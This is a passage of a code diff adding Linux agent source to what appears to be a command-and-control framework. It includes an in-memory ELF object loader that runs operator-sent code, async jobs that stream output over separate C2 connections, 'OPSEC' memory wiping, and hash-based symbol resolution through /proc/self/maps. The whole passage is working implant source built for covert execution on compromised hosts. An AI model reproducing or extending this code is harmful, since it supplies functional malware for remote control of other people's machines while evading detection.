PROT_WRITE; + } else { + prot = PROT_READ; + } + // Page-align the section start and size for mprotect + uintptr_t sec_start = (uintptr_t)sections[i].base; + uintptr_t page_start = sec_start & ~(uintptr_t)4095; + size_t prot_size = page_align((sec_start - page_start) + sections[i].size); + if (sys_mprotect((void *)page_start, prot_size, prot) != 0) + return -1; + } + + // Protect trampoline area as RX (it contains executable stubs) + if (arena->tramp_count > 0 && arena->trampoline) { + uintptr_t tramp_start = (uintptr_t)arena->trampoline; + uintptr_t page_start = tramp_start & ~(uintptr_t)4095; + size_t tramp_used = (size_t)arena->tramp_count * TRAMPOLINE_SIZE; + size_t prot_size = page_align((tramp_start - page_start) + tramp_used); + if (sys_mprotect((void *)page_start, prot_size, PROT_READ | PROT_EXEC) != 0) + return -1; + } + +#ifdef ARCH_AARCH64 + // Flush instruction cache (mandatory on ARM64 after mprotect → RX) + for (int i = 0; i < num_sections; i++) { + if (sections[i].flags & SHF_EXECINSTR) { + uint8_t *start = (uint8_t *)sections[i].base; + uint8_t *end = start + sections[i].raw_size; + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } + } + // Also flush trampoline area icache + if (arena->tramp_count > 0 && arena->trampoline) { + uint8_t *start = (uint8_t *)arena->trampoline; + uint8_t *end = start + (arena->tramp_count * TRAMPOLINE_SIZE); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } +#endif + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Cleanup — revert arena to RW, zero, single munmap +/// ──────────────────────────────────────────────────────────────────────────── + +static void cleanup_arena(bof_arena_t *arena) { + if (arena->base && arena->total_size > 0) { + // Revert entire arena to RW for zeroing + sys_mprotect(arena->base, arena->total_size, PROT_READ | PROT_WRITE); + // OPSEC: Zero all memory + volatile uint8_t *p = (volatile uint8_t *)arena->base; + for (size_t j = 0; j < arena->total_size; j++) + p[j] = 0; + // Release memory + sys_munmap(arena->base, arena->total_size); + arena->base = (void *)0; + arena->total_size = 0; + } +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find entry point symbol ("go" function) +/// ──────────────────────────────────────────────────────────────────────────── + +static bof_entry_t find_entry(const char *entry_name, + const Elf64_Sym *symtab, int num_syms, + const char *strtab, + sym_value_t *sym_values) { + for (int i = 0; i < num_syms; i++) { + if (symtab[i].st_shndx == SHN_UNDEF) + continue; + const char *name = strtab + symtab[i].st_name; + if (ax_strcmp(name, entry_name) == 0 && sym_values[i].resolved) { + return (bof_entry_t)(uintptr_t)sym_values[i].value; + } + } + return (bof_entry_t)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF error response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_error_response(mp_writer_t *response, int error_code, const char *message) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", error_code); + mp_write_kv_str(response, "output", message ? message : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF success response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_success_response(mp_writer_t *response, const char *output) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", 0x20); // CALLBACK_OUTPUT_UTF8 + mp_write_kv_str(response, "output", output ? output : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Core ELF BOF execute +/// ──────────────────────────────────────────────────────────────────────────── + +static int elf_bof_execute(const uint8_t *elf_data, uint32_t elf_size, + const uint8_t *args, uint32_t args_size, + const char *entry_name, + mp_writer_t *response) { + loaded_section_t sections[BOF_MAX_SECTIONS]; + int num_sections = 0; + bof_arena_t arena; + arena.base = (void *)0; + arena.total_size = 0; + + // ── Step 1: Validate ELF header ── + if (elf_size < sizeof(Elf64_Ehdr)) { + bof_error_response(response, BOF_ERR_PARSE, "ELF file too small"); + return -1; + } + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)elf_data; + if (validate_elf(ehdr, elf_size) != 0) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid ELF header"); + return -1; + } + + // ── Step 2: Parse section headers ── + const Elf64_Shdr *shdrs = (const Elf64_Shdr *)(elf_data + ehdr->e_shoff); + + // Find .symtab, .strtab, and section name string table + const Elf64_Sym *symtab = (const Elf64_Sym *)0; + const char *strtab = (const char *)0; + int num_syms = 0; + + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type == SHT_SYMTAB) { + symtab = (const Elf64_Sym *)(elf_data + shdrs[i].sh_offset); + num_syms = (int)(shdrs[i].sh_size / shdrs[i].sh_entsize); + // strtab is linked via sh_link + int strtab_idx = (int)shdrs[i].sh_link; + if (strtab_idx < ehdr->e_shnum) { + strtab = (const char *)(elf_data + shdrs[strtab_idx].sh_offset); + } + break; + } + } + + if (!symtab || !strtab || num_syms == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No symbol table found"); + return -1; + } + + // ── Step 3: Allocate all sections in a single contiguous mmap ── + if (allocate_sections(elf_data, ehdr, shdrs, sections, &num_sections, &arena) != 0) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate sections"); + return -1; + } + + // ── Step 4: Resolve symbols (creates trampolines for external functions) ── + sym_value_t *sym_values = (sym_value_t *)ax_malloc(num_syms * sizeof(sym_value_t)); + if (!sym_values) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate symbol table"); + return -1; + } + ax_memset(sym_values, 0, num_syms * sizeof(sym_value_t)); + + char err_symbol[128]; + err_symbol[0] = '\0'; + if (resolve_symbols(symtab, num_syms, strtab, sections, num_sections, + sym_values, &arena, err_symbol, sizeof(err_symbol)) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_SYMBOL, err_symbol); + return -1; + } + + // ── Step 5: Apply relocations ── + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type != SHT_RELA) + continue; + + // sh_info points to the section being relocated + int target_shndx = (int)shdrs[i].sh_info; + loaded_section_t *target = find_loaded_section(sections, num_sections, target_shndx); + if (!target) + continue; // relocs for non-loaded section — skip + + const Elf64_Rela *relas = (const Elf64_Rela *)(elf_data + shdrs[i].sh_offset); + int num_relas = (int)(shdrs[i].sh_size / sizeof(Elf64_Rela)); + + int ret; +#ifdef ARCH_X86_64 + ret = apply_relocations_x64(relas, num_relas, sym_values, target); +#endif +#ifdef ARCH_AARCH64 + ret = apply_relocations_arm64(relas, num_relas, sym_values, target); +#endif + if (ret != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_RELOC, "Relocation failed"); + return -1; + } + } + + // ── Step 6: Protect sections (per-section mprotect + trampoline area) ── + if (protect_sections(sections, num_sections, &arena) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "mprotect failed"); + return -1; + } + + // ── Step 7: Find entry point ── + bof_entry_t entry = find_entry(entry_name, symtab, num_syms, strtab, sym_values); + if (!entry) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ENTRY, "Entry function not found"); + return -1; + } + + // ── Step 8: Initialize BOF output, execute, collect output ── + bof_output_init(); + + entry((char *)args, (int)args_size); + + // Collect output + int output_len = 0; + const char *output = bof_output_get(&output_len); + int error_type = bof_output_get_error(); + + // Write response + if (error_type != 0) { + bof_error_response(response, error_type, output); + } else if (output_len > 0) { + bof_success_response(response, output); + } else { + // No output — empty success + bof_success_response(response, "(no output)"); + } + + bof_output_cleanup(); + + // ── Step 9: Cleanup — zero and release arena ── + ax_free(sym_values); + cleanup_arena(&arena); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API: task_exec_bof — called from commander.c +/// Parses msgpack command data, dispatches to elf_bof_execute +/// ──────────────────────────────────────────────────────────────────────────── + +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Make entry_func a proper null-terminated string if needed + char entry_name[64]; + if (entry_func_len > 0 && entry_func_len < sizeof(entry_name)) { + ax_memcpy(entry_name, entry_func, entry_func_len); + entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(entry_name, "go"); + } + + elf_bof_execute(bof_content, bof_size, args, args_size, entry_name, response); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF — background thread with separate C2 connection +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + uint8_t *bof_data; // deep copy of ELF .o + uint32_t bof_size; + uint8_t *args_data; // deep copy of args + uint32_t args_size; + char entry_name[64]; // "go" or custom + char job_id[64]; // task ID for job tracking + int job_idx; // index in g_job_ctx.jobs[] + int stop_pipe[2]; // pipe for cooperative stop (write=signal, read=poll) +} async_bof_arg_t; + +/// Send BOF output over the job's C2 connection +static void async_bof_send_output(connector_t *conn, const char *job_id, + int output_type, const char *output, int output_len) { + // Build inner data: {type: int, output: string} + mp_writer_t data_w; + mp_writer_init(&data_w, 64 + output_len); + mp_write_map(&data_w, 2); + mp_write_kv_int(&data_w, "type", output_type); + if (output && output_len > 0) { + mp_write_str(&data_w, "output", 6); + mp_write_str(&data_w, output, output_len); + } else { + mp_write_kv_str(&data_w, "output", ""); + } + + jobs_send_message(&g_job_ctx, conn, COMMAND_EXEC_BOF_OUT, job_id, + data_w.buf.data, (uint32_t)data_w.buf.len); + mp_writer_free(&data_w); +} + +/// Worker thread for async BOF execution +static void *async_bof_thread(void *param) { + async_bof_arg_t *arg = (async_bof_arg_t *)param; + job_entry_t *job = &g_job_ctx.jobs[arg->job_idx]; + + // Open separate C2 connection for this BOF + if (jobs_open_connection(&g_job_ctx, &job->conn) != 0) { + // Connection failed — report error and cleanup + job->active = 0; + goto CLEANUP; + } + + // Send init pack for BOF type + { + mp_writer_t init_w; + mp_writer_init(&init_w, 64); + mp_write_map(&init_w, 1); + mp_write_kv_str(&init_w, "job_id", arg->job_id); + jobs_send_init(&g_job_ctx, &job->conn, BOF_PACK, init_w.buf.data, (uint32_t)init_w.buf.len); + mp_writer_free(&init_w); + } + + // Execute the ELF BOF synchronously within this thread + { + // Set async context so BeaconGetStopJobEvent() returns the stop pipe fd + bof_set_async_ctx(arg, arg->stop_pipe[0]); + + mp_writer_t bof_response; + mp_writer_init(&bof_response, 4096); + elf_bof_execute(arg->bof_data, arg->bof_size, + arg->args_data, arg->args_size, + arg->entry_name, &bof_response); + + // Parse the response to extract type and output, then send via C2 + if (bof_response.buf.len > 0) { + mp_reader_t rdr; + mp_reader_init(&rdr, bof_response.buf.data, bof_response.buf.len); + uint32_t map_cnt = 0; + if (mp_read_map(&rdr, &map_cnt) == 0) { + int out_type = 0x20; // default CALLBACK_OUTPUT_UTF8 + const char *out_str = ""; + uint32_t out_len = 0; + + for (uint32_t i = 0; i < map_cnt; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&rdr, &key, &key_len) != 0) { + mp_skip(&rdr); + mp_skip(&rdr); + continue; + } + if (key_len == 4 && ax_strncmp(key, "type", 4) == 0) { + int64_t v; + mp_read_int(&rdr, &v); + out_type = (int)v; + } else if (key_len == 6 && ax_strncmp(key, "output", 6) == 0) { + mp_read_str(&rdr, &out_str, &out_len); + } else { + mp_skip(&rdr); + } + } + + async_bof_send_output(&job->conn, arg->job_id, out_type, out_str, (int)out_len); + } + } + mp_writer_free(&bof_response); + bof_clear_async_ctx(); + } + + // Send sentinel (type 0xFF) to signal BOF completion + async_bof_send_output(&job->conn, arg->job_id, 0xFF, "", 0); + + // Close C2 connection + conn_close(&job->conn); + job->active = 0; + +CLEANUP: + // OPSEC: zero and free deep-copied data + if (arg->bof_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->bof_data; + for (uint32_t i = 0; i < arg->bof_size; i++) p[i] = 0; + ax_free(arg->bof_data); + } + if (arg->args_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->args_data; + for (uint32_t i = 0; i < arg->args_size; i++) p[i] = 0; + ax_free(arg->args_data); + } + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + + return (void *)0; +} + +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Allocate job slot + int job_idx = jobs_alloc(&g_job_ctx); + if (job_idx < 0) { + bof_error_response(response, BOF_ERR_ALLOC, "No free job slots"); + return 0; + } + + // Prepare async arg with deep copies + async_bof_arg_t *arg = (async_bof_arg_t *)ax_malloc(sizeof(async_bof_arg_t)); + if (!arg) { + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Alloc failed"); + return 0; + } + ax_memset(arg, 0, sizeof(async_bof_arg_t)); + + // Deep copy BOF data + arg->bof_data = (uint8_t *)ax_malloc(bof_size); + if (!arg->bof_data) { + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "BOF copy alloc failed"); + return 0; + } + ax_memcpy(arg->bof_data, bof_content, bof_size); + arg->bof_size = bof_size; + + // Deep copy args + if (args && args_size > 0) { + arg->args_data = (uint8_t *)ax_malloc(args_size); + if (arg->args_data) + ax_memcpy(arg->args_data, args, args_size); + arg->args_size = args_size; + } + + // Copy entry name + if (entry_func_len > 0 && entry_func_len < sizeof(arg->entry_name)) { + ax_memcpy(arg->entry_name, entry_func, entry_func_len); + arg->entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(arg->entry_name, "go"); + } + + // Create stop pipe + arg->stop_pipe[0] = -1; + arg->stop_pipe[1] = -1; + sys_pipe2(arg->stop_pipe, 0); + + // Setup job entry + ax_snprintf(arg->job_id, sizeof(arg->job_id), "%08x", cmd_id); + arg->job_idx = job_idx; + + job_entry_t *job = &g_job_ctx.jobs[job_idx]; + ax_strcpy(job->job_id, arg->job_id); + job->job_type = BOF_PACK; + job->active = 1; + job->canceled = 0; + job->conn.fd = -1; + + // Create worker thread + if (jobs_thread_create(&job->thread, async_bof_thread, arg) != 0) { + // Thread creation failed + job->active = 0; + if (arg->bof_data) ax_free(arg->bof_data); + if (arg->args_data) ax_free(arg->args_data); + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Thread creation failed"); + return 0; + } + + // Ack: task running (not completed) + mp_write_map(response, 1); + mp_write_kv_str(response, "status", "running"); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h new file mode 100644 index 000000000..b2e264b36 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h @@ -0,0 +1,169 @@ +#ifndef ELF_BOF_H +#define ELF_BOF_H + +#include "types.h" +#include "crt.h" +#include "msgpack.h" + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF64 structures — minimal, zero libc dependency (nostdlib) +/// ──────────────────────────────────────────────────────────────────────────── + +typedef uint64_t Elf64_Addr; +typedef uint64_t Elf64_Off; +typedef uint16_t Elf64_Half; +typedef uint32_t Elf64_Word; +typedef int32_t Elf64_Sword; +typedef uint64_t Elf64_Xword; +typedef int64_t Elf64_Sxword; + +/// ELF header +typedef struct { + unsigned char e_ident[16]; + Elf64_Half e_type; + Elf64_Half e_machine; + Elf64_Word e_version; + Elf64_Addr e_entry; + Elf64_Off e_phoff; + Elf64_Off e_shoff; + Elf64_Word e_flags; + Elf64_Half e_ehsize; + Elf64_Half e_phentsize; + Elf64_Half e_phnum; + Elf64_Half e_shentsize; + Elf64_Half e_shnum; + Elf64_Half e_shstrndx; +} Elf64_Ehdr; + +/// Section header +typedef struct { + Elf64_Word sh_name; + Elf64_Word sh_type; + Elf64_Xword sh_flags; + Elf64_Addr sh_addr; + Elf64_Off sh_offset; + Elf64_Xword sh_size; + Elf64_Word sh_link; + Elf64_Word sh_info; + Elf64_Xword sh_addralign; + Elf64_Xword sh_entsize; +} Elf64_Shdr; + +/// Symbol table entry +typedef struct { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; +} Elf64_Sym; + +/// Relocation entry with addend +typedef struct { + Elf64_Addr r_offset; + Elf64_Xword r_info; + Elf64_Sxword r_addend; +} Elf64_Rela; + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF macros +/// ──────────────────────────────────────────────────────────────────────────── + +#define ELF64_R_SYM(i) ((i) >> 32) +#define ELF64_R_TYPE(i) ((i) & 0xffffffffL) +#define ELF64_ST_BIND(i) ((unsigned char)(i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +/// ELF magic +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define ELFDATA2LSB 1 + +/// e_type +#define ET_REL 1 + +/// e_machine +#define EM_X86_64 62 +#define EM_AARCH64 183 + +/// Section types +#define SHT_NULL 0 +#define SHT_PROGBITS 1 +#define SHT_SYMTAB 2 +#define SHT_STRTAB 3 +#define SHT_RELA 4 +#define SHT_NOBITS 8 + +/// Section flags +#define SHF_WRITE 0x1 +#define SHF_ALLOC 0x2 +#define SHF_EXECINSTR 0x4 + +/// Symbol binding/type +#define STB_LOCAL 0 +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_NOTYPE 0 +#define STT_FUNC 2 + +/// Special section indices +#define SHN_UNDEF 0 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_X86_64_64 1 // S + A (absolute 64-bit) +#define R_X86_64_PC32 2 // S + A - P (32-bit PC-relative) +#define R_X86_64_PLT32 4 // S + A - P (same as PC32 for .o files) +#define R_X86_64_32 10 // S + A (absolute 32-bit, zero-extend) +#define R_X86_64_32S 11 // S + A (absolute 32-bit, sign-extend) + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_AARCH64_ABS64 257 // S + A +#define R_AARCH64_CALL26 283 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_JUMP26 282 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_ADR_PREL_PG_HI21 275 // Page(S+A) - Page(P), bits [32:12] +#define R_AARCH64_ADD_ABS_LO12_NC 277 // (S+A) & 0xFFF, 12-bit +#define R_AARCH64_LDST8_ABS_LO12_NC 278 +#define R_AARCH64_LDST16_ABS_LO12_NC 284 +#define R_AARCH64_LDST32_ABS_LO12_NC 285 +#define R_AARCH64_LDST64_ABS_LO12_NC 286 +#define R_AARCH64_LDST128_ABS_LO12_NC 299 + +/// ──────────────────────────────────────────────────────────────────────────── +/// BOF error codes (matches beacon pattern for Go-side ProcessData) +/// ──────────────────────────────────────────────────────────────────────────── + +#define BOF_ERR_NONE 0 +#define BOF_ERR_PARSE 0x101 +#define BOF_ERR_SYMBOL 0x102 +#define BOF_ERR_ENTRY 0x104 +#define BOF_ERR_ALLOC 0x105 +#define BOF_ERR_RELOC 0x106 + +/// Max sections supported +#define BOF_MAX_SECTIONS 32 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API +/// ──────────────────────────────────────────────────────────────────────────── + +/// Execute an ELF BOF in-memory (synchronous). +/// Called from commander.c case COMMAND_EXEC_BOF. +/// Parses msgpack params {content, args, entry_func}, loads ELF, executes, returns output. +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +/// Execute an ELF BOF in a background thread (async). +/// Called from commander.c case COMMAND_EXEC_BOF_ASYNC. +/// Spawns a thread that opens its own C2 connection and streams output. +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +#endif // ELF_BOF_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c new file mode 100644 index 000000000..9778b122d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c @@ -0,0 +1,500 @@ +/// elf_resolve.c -- ELF hash-based API resolver for Linux agent +/// Parses /proc/self/maps → ELF headers → .dynsym/.dynstr → DJB2 match +/// Uses only direct syscalls — zero libc dependency for bootstrapping. + +#include "elf_resolve.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── ELF structures (inline — no system headers needed) ── + +#define EI_NIDENT 16 +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define PT_LOAD 1 +#define PT_DYNAMIC 2 +#define DT_NULL 0 +#define DT_STRTAB 5 +#define DT_SYMTAB 6 +#define DT_STRSZ 10 +#define DT_GNU_HASH 0x6ffffef5 +#define DT_HASH 4 + +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_FUNC 2 +#define STT_OBJECT 1 +#define SHN_UNDEF 0 + +#define ELF64_ST_BIND(i) ((i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +typedef struct { + uint8_t e_ident[EI_NIDENT]; + uint16_t e_type; + uint16_t e_machine; + uint32_t e_version; + uint64_t e_entry; + uint64_t e_phoff; + uint64_t e_shoff; + uint32_t e_flags; + uint16_t e_ehsize; + uint16_t e_phentsize; + uint16_t e_phnum; + uint16_t e_shentsize; + uint16_t e_shnum; + uint16_t e_shstrndx; +} Elf64_Ehdr; + +typedef struct { + uint32_t p_type; + uint32_t p_flags; + uint64_t p_offset; + uint64_t p_vaddr; + uint64_t p_paddr; + uint64_t p_filesz; + uint64_t p_memsz; + uint64_t p_align; +} Elf64_Phdr; + +typedef struct { + int64_t d_tag; + uint64_t d_val; +} Elf64_Dyn; + +typedef struct { + uint32_t st_name; + uint8_t st_info; + uint8_t st_other; + uint16_t st_shndx; + uint64_t st_value; + uint64_t st_size; +} Elf64_Sym; + +// DT_HASH header +typedef struct { + uint32_t nbucket; + uint32_t nchain; + // followed by: uint32_t bucket[nbucket]; uint32_t chain[nchain]; +} Elf_Hash; + +// DT_GNU_HASH header +typedef struct { + uint32_t nbuckets; + uint32_t symndx; + uint32_t maskwords; + uint32_t shift2; + // followed by: uint64_t bloom[maskwords]; uint32_t buckets[nbuckets]; uint32_t chains[]; +} Gnu_Hash; + +// ── Parsed library entry ── +typedef struct { + uintptr_t base; // lowest mapping address + uint32_t name_hash; // DJB2 hash of basename +} lib_entry_t; + +#define MAX_LIBS 32 + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +uint32_t djb2_hash(uint32_t seed, const char *s) +{ + uint32_t h = seed; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') + c += 32; + h = ((h << 5) + h) + (uint32_t)c; + } + return h; +} + +// ── Internal helpers ── + +#define O_RDONLY 0 + +/// Extract basename from "/lib/x86_64-linux-gnu/libc.so.6" → "libc.so.6" +static const char *path_basename(const char *path) { + const char *last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Validate ELF64 magic at a given memory address +static int is_valid_elf64(const void *addr) { + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)addr; + return (ehdr->e_ident[0] == ELFMAG0 && + ehdr->e_ident[1] == ELFMAG1 && + ehdr->e_ident[2] == ELFMAG2 && + ehdr->e_ident[3] == ELFMAG3 && + ehdr->e_ident[4] == ELFCLASS64); +} + +/// Parse /proc/self/maps to find loaded shared libraries. +/// Format: "addr1-addr2 perms offset dev inode path\n" +/// We only care about r-xp (executable) mappings with a library path. +static int parse_proc_maps(lib_entry_t *libs, int max_libs) { + int fd = sys_open("/proc/self/maps", O_RDONLY, 0); + if (fd < 0) return 0; + + // Read maps in chunks — typical maps file is 2-20 KB + char buf[8192]; + int lib_count = 0; + int buf_used = 0; + + for (;;) { + long n = sys_read(fd, buf + buf_used, (size_t)(sizeof(buf) - 1 - buf_used)); + if (n <= 0) break; + buf_used += (int)n; + buf[buf_used] = '\0'; + + // Process complete lines + char *line_start = buf; + char *newline; + while ((newline = ax_strchr(line_start, '\n')) != NULL) { + *newline = '\0'; + + // Parse: "7f1234560000-7f1234570000 r-xp 00001000 08:01 12345 /lib/x86_64-linux-gnu/libc.so.6" + // ^addr_start ^perms ^path + + // Find permissions field (after first space) + char *p = ax_strchr(line_start, ' '); + if (p && p[1] == 'r' && p[4] == 'p') { + // Find the path (last field, starts with '/') + // Skip: addr, perms, offset, dev, inode → path + char *path = NULL; + int space_count = 0; + for (char *s = line_start; *s; s++) { + if (*s == '/') { + // Check this is actually a path (after inode field) + // Count at least 4 spaces before this + int sc = 0; + for (char *t = line_start; t < s; t++) { + if (*t == ' ') sc++; + } + if (sc >= 4) { + path = s; + break; + } + } + } + (void)space_count; + + if (path && ax_strstr(path, ".so")) { + // Parse base address (hex before '-') + uintptr_t base_addr = 0; + for (char *h = line_start; *h && *h != '-'; h++) { + int digit; + if (*h >= '0' && *h <= '9') digit = *h - '0'; + else if (*h >= 'a' && *h <= 'f') digit = *h - 'a' + 10; + else if (*h >= 'A' && *h <= 'F') digit = *h - 'A' + 10; + else break; + base_addr = base_addr * 16 + digit; + } + + const char *bn = path_basename(path); + uint32_t h = djb2_hash(DJB2_SEED, bn); + + // Check if we already have this lib (maps has multiple segments per lib) + int found = 0; + for (int i = 0; i < lib_count; i++) { + if (libs[i].name_hash == h) { + // Keep lowest base address + if (base_addr < libs[i].base) + libs[i].base = base_addr; + found = 1; + break; + } + } + + if (!found && lib_count < max_libs) { + libs[lib_count].base = base_addr; + libs[lib_count].name_hash = h; + lib_count++; + } + } + } + + line_start = newline + 1; + } + + // Move remaining partial line to beginning + int remaining = buf_used - (int)(line_start - buf); + if (remaining > 0) + ax_memmove(buf, line_start, remaining); + buf_used = remaining; + } + + sys_close(fd); + return lib_count; +} + +/// Resolve a loaded shared library by DJB2 hash of its basename +void *elf_resolve_lib(uint32_t name_hash) +{ + lib_entry_t libs[MAX_LIBS]; + int count = parse_proc_maps(libs, MAX_LIBS); + + for (int i = 0; i < count; i++) { + if (libs[i].name_hash == name_hash) { + // Validate ELF magic at base + if (is_valid_elf64((void *)libs[i].base)) + return (void *)libs[i].base; + } + } + return NULL; +} + +/// Resolve a symbol within an ELF64 library by DJB2 hash. +/// Walks PT_DYNAMIC → DT_SYMTAB + DT_STRTAB, then iterates symbols. +void *elf_resolve_sym(void 